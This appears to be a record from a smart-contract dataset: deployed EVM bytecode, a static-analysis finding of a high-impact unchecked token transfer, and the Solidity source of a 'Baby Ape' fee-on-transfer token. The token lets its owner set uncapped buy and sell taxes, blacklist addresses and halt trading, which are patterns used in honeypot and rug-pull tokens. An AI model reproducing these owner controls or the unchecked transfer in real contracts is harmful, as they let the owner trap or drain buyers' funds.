0x6080604052600436106100dd5760003560e01c8063858d6aa41161007f578063a994ee2d11610059578063a994ee2d146105dd578063b6d712fb146105f2578063d7a57ce514610607578063e5a6c28f14610689576100dd565b8063858d6aa41461047a5780638976263d146104fd578063a6d5752614610598576100dd565b80635d22b72c116100bb5780635d22b72c146101c75780635f14f772146103af5780636f2ddd93146103e857806371190e4b146103fd576100dd565b80630c2ecfb6146100e25780634f411f7b14610181578063565974d3146101b2575b600080fd5b3480156100ee57600080fd5b5061010c6004803603602081101561010557600080fd5b503561069e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014657818101518382015260200161012e565b50505050905090810190601f1680156101735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018d57600080fd5b50610196610747565b604080516001600160a01b039092168252519081900360200190f35b3480156101be57600080fd5b5061010c610756565b61019660048036036101608110156101de57600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561022857600080fd5b82018360208201111561023a57600080fd5b803590602001918460018302840111600160201b8311171561025b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156102ad57600080fd5b8201836020820111156102bf57600080fd5b803590602001918460018302840111600160201b831117156102e057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561033257600080fd5b82018360208201111561034457600080fd5b803590602001918460018302840111600160201b8311171561036557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156107b1565b3480156103bb57600080fd5b50610196600480360360408110156103d257600080fd5b506001600160a01b038135169060200135610b87565b3480156103f457600080fd5b50610196610bbf565b34801561040957600080fd5b506104786004803603602081101561042057600080fd5b810190602081018135600160201b81111561043a57600080fd5b82018360208201111561044c57600080fd5b803590602001918460018302840111600160201b8311171561046d57600080fd5b509092509050610be3565b005b34801561048657600080fd5b506104ad6004803603602081101561049d57600080fd5b50356001600160a01b0316610cd8565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104e95781810151838201526020016104d1565b505050509050019250505060405180910390f35b34801561050957600080fd5b506104786004803603608081101561052057600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561055a57600080fd5b82018360208201111561056c57600080fd5b803590602001918460018302840111600160201b8311171561058d57600080fd5b509092509050610d4e565b3480156105a457600080fd5b506105cb600480360360208110156105bb57600080fd5b50356001600160a01b0316610e5c565b60408051918252519081900360200190f35b3480156105e957600080fd5b50610196610e77565b3480156105fe57600080fd5b506105cb610e86565b34801561061357600080fd5b506104786004803603604081101561062a57600080fd5b81359190810190604081016020820135600160201b81111561064b57600080fd5b82018360208201111561065d57600080fd5b803590602001918460018302840111600160201b8311171561067e57600080fd5b509092509050610e8c565b34801561069557600080fd5b506105cb610f69565b600481815481106106ae57600080fd5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529350909183018282801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b505050505081565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561073f5780601f106107145761010080835404028352916020019161073f565b6000806107dd7f0000000000000000000000009cc6beff59977fab7cdc77e4e899b313222c0053610f6f565b9050806001600160a01b0316637a0c21ee8e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561088d578181015183820152602001610875565b50505050905090810190601f1680156108ba5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156108ed5781810151838201526020016108d5565b50505050905090810190601f16801561091a5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561094d578181015183820152602001610935565b50505050905090810190601f16801561097a5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b505050506001600160a01b038d811660009081526005602090815260408220805460018101825590835291200180546001600160a01b0319169183169190911790553415610a9657600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610a4e576040519150601f19603f3d011682016040523d82523d6000602084013e610a53565b606091505b5050905080610a94576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b60025415610b22576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b50505b8c6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a39c9b505050505050505050505050565b60056020528160005260406000208181548110610ba357600080fd5b6000918252602090912001546001600160a01b03169150829050565b7f0000000000000000000000009cc6beff59977fab7cdc77e4e899b313222c005381565b6000546001600160a01b03163314610c2c576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b60048054600181018255600091909152610c69907f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b018383610fc1565b5060045460408051828152602081018281529181018490527fcb08c4eb330ef67578d7cb86131f93d0de8d3dbd965167f9a31d3beedc97392192918591859160608201848480828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b6001600160a01b038116600090815260056020908152604091829020805483518184028101840190945280845260609392830182828015610d4257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d24575b50505050509050919050565b6000546001600160a01b03163314610d97576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b03199283161790925560018054928716929091169190911790556002839055610dd860038383610fc1565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001600160a01b031660009081526005602052604090205490565b6001546001600160a01b031681565b60045490565b6000546001600160a01b03163314610ed5576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b818160048581548110610ee457fe5b906000526020600020019190610efb929190610fc1565b507f63eeabb7a8f9739511c604ee8c971ebbc179c3eafeadc687574c1d5afd8699f783838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610ff7576000855561103d565b82601f106110105782800160ff1982351617855561103d565b8280016001018555821561103d579182015b8281111561103d578235825591602001919060010190611022565b5061104992915061104d565b5090565b5b80821115611049576000815560010161104e56fea26469706673582212200b908920a48844edfecefa6fed9e28f723bb9bbf5c1711cb4a5f92048d32e20464736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,854
0xb7eBA92353825252286E549d6e8436A297B25d67
// https://t.me/Babyape_Coin // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BABYAPE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Baby Ape"; string private constant _symbol = "BABYAPE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 4; uint256 private _taxFeeOnBuy = 6; //Sell Fee uint256 private _redisFeeOnSell = 8; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xCd8A8c6A0a87E4Ae24797eF614f546d68f326a3A); address payable private _marketingAddress = payable(0xCd8A8c6A0a87E4Ae24797eF614f546d68f326a3A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2500000 * 10**9; //0.25% uint256 public _maxWalletSize = 10000000 * 10**9; //1% uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a9059cbb11610095578063c492f04611610064578063c492f04614610690578063dd62ed3e146106b9578063ea1644d5146106f6578063f2fde38b1461071f576101e2565b8063a9059cbb146105c2578063bdd795ef146105ff578063bfd792841461063c578063c3c8cd8014610679576101e2565b80638f9a55c0116100d15780638f9a55c01461051a57806395d89b411461054557806398a5c31514610570578063a2a957bb14610599576101e2565b806374010ece146104725780637d1db4a51461049b5780638da5cb5b146104c65780638f70ccf7146104f1576101e2565b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103de5780636fc3eaec1461040757806370a082311461041e578063715018a61461045b576101e2565b80632fd689e314610334578063313ce5671461035f57806349bd5a5e1461038a5780636b999053146103b5576101e2565b80631694505e116101b65780631694505e1461027857806318160ddd146102a357806323b872dd146102ce5780632f9c45691461030b576101e2565b8062b8cf2a146101e757806306fdde0314610210578063095ea7b31461023b576101e2565b366101e257005b600080fd5b3480156101f357600080fd5b5061020e600480360381019061020991906131c8565b610748565b005b34801561021c57600080fd5b50610225610872565b6040516102329190613648565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190613128565b6108af565b60405161026f9190613612565b60405180910390f35b34801561028457600080fd5b5061028d6108cd565b60405161029a919061362d565b60405180910390f35b3480156102af57600080fd5b506102b86108f3565b6040516102c5919061384a565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f09190613095565b610903565b6040516103029190613612565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d91906130e8565b6109dc565b005b34801561034057600080fd5b50610349610b5f565b604051610356919061384a565b60405180910390f35b34801561036b57600080fd5b50610374610b65565b60405161038191906138bf565b60405180910390f35b34801561039657600080fd5b5061039f610b6e565b6040516103ac91906135f7565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d79190612ffb565b610b94565b005b3480156103ea57600080fd5b5061040560048036038101906104009190613211565b610c84565b005b34801561041357600080fd5b5061041c610d35565b005b34801561042a57600080fd5b5061044560048036038101906104409190612ffb565b610e06565b604051610452919061384a565b60405180910390f35b34801561046757600080fd5b50610470610e57565b005b34801561047e57600080fd5b506104996004803603810190610494919061323e565b610faa565b005b3480156104a757600080fd5b506104b0611049565b6040516104bd919061384a565b60405180910390f35b3480156104d257600080fd5b506104db61104f565b6040516104e891906135f7565b60405180910390f35b3480156104fd57600080fd5b5061051860048036038101906105139190613211565b611078565b005b34801561052657600080fd5b5061052f61112a565b60405161053c919061384a565b60405180910390f35b34801561055157600080fd5b5061055a611130565b6040516105679190613648565b60405180910390f35b34801561057c57600080fd5b506105976004803603810190610592919061323e565b61116d565b005b3480156105a557600080fd5b506105c060048036038101906105bb919061326b565b61120c565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190613128565b6112c3565b6040516105f69190613612565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190612ffb565b6112e1565b6040516106339190613612565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e9190612ffb565b611301565b6040516106709190613612565b60405180910390f35b34801561068557600080fd5b5061068e611321565b005b34801561069c57600080fd5b506106b760048036038101906106b29190613168565b6113fa565b005b3480156106c557600080fd5b506106e060048036038101906106db9190613055565b611534565b6040516106ed919061384a565b60405180910390f35b34801561070257600080fd5b5061071d6004803603810190610718919061323e565b6115bb565b005b34801561072b57600080fd5b5061074660048036038101906107419190612ffb565b61165a565b005b61075061181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d4906137aa565b60405180910390fd5b60005b815181101561086e5760016010600084848151811061080257610801613c3d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086690613b96565b9150506107e0565b5050565b60606040518060400160405280600881526020017f4261627920417065000000000000000000000000000000000000000000000000815250905090565b60006108c36108bc61181c565b8484611824565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006109108484846119ef565b6109d18461091c61181c565b6109cc8560405180606001604052806028815260200161411460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061098261181c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123379092919063ffffffff16565b611824565b600190509392505050565b6109e461181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a68906137aa565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb9061376a565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b9c61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c20906137aa565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c8c61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d10906137aa565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7661181c565b73ffffffffffffffffffffffffffffffffffffffff161480610dec5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd461181c565b73ffffffffffffffffffffffffffffffffffffffff16145b610df557600080fd5b6000479050610e038161239b565b50565b6000610e50600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612496565b9050919050565b610e5f61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee3906137aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fb261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611036906137aa565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61108061181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461110d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611104906137aa565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600781526020017f4241425941504500000000000000000000000000000000000000000000000000815250905090565b61117561181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f9906137aa565b60405180910390fd5b8060198190555050565b61121461181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611298906137aa565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112d76112d061181c565b84846119ef565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661136261181c565b73ffffffffffffffffffffffffffffffffffffffff1614806113d85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113c061181c565b73ffffffffffffffffffffffffffffffffffffffff16145b6113e157600080fd5b60006113ec30610e06565b90506113f781612504565b50565b61140261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906137aa565b60405180910390fd5b60005b8383905081101561152e5781600560008686858181106114b5576114b4613c3d565b5b90506020020160208101906114ca9190612ffb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061152690613b96565b915050611492565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115c361181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611650576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611647906137aa565b60405180910390fd5b8060188190555050565b61166261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ef57